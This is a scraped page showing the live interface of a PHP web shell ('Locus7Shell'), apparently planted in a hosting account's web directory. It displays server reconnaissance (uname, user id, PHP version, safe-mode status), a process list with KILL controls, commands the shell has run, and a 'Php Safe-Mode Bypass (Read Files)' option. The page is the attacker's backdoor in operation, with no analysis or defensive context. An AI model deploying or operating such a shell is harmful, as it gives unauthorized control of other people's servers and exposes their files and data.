![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/embed/internal/embedtest/testdata/.hidden/ drwxr-xr-x |
Processes: | |||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | |
mycochar | 121761 | 1.5 | 0.0 | 1147424 | 25604 | ? | S | 06:37 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 122121 | 0.0 | 0.0 | 1146308 | 23772 | ? | S | 06:37 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 122120 | 0.0 | 0.0 | 1146308 | 23772 | ? | S | 06:37 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 122116 | 0.0 | 0.0 | 1147336 | 24128 | ? | S | 06:37 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 122114 | 0.0 | 0.0 | 1147336 | 24268 | ? | R | 06:37 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 122115 | 0.0 | 0.0 | 1146308 | 23476 | ? | S | 06:37 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 122123 | 0.0 | 0.0 | 1147336 | 23888 | ? | S | 06:37 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 122126 | 0.0 | 0.0 | 1147336 | 23796 | ? | S | 06:37 | 0:00 | php-fpm: pool mycochar (php5.4) | KILL |
mycochar | 122157 | 0.0 | 0.0 | 2956 | 1756 | ? | R | 06:37 | 0:00 | ps -aux | KILL |
mycochar | 122158 | 0.0 | 0.0 | 3260 | 428 | ? | R | 06:37 | 0:00 | sh -c (ps -aux)2>&1 | KILL |
mycochar | 122156 | 0.0 | 0.0 | 3496 | 2528 | ? | S | 06:37 | 0:00 | sh -c (sysctl -a | grep version)2>&1 | KILL |
mycochar | 122155 | 0.0 | 0.0 | 3496 | 2544 | ? | S | 06:37 | 0:00 | sh -c (ps -aux)2>&1 | KILL |
mycochar | 122151 | 0.0 | 0.0 | 3496 | 2484 | ? | S | 06:37 | 0:00 | sh -c (ps -aux)2>&1 | KILL |
mycochar | 122154 | 0.0 | 0.0 | 2960 | 1772 | ? | R | 06:37 | 0:00 | ps -aux | KILL |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0106 ]-- |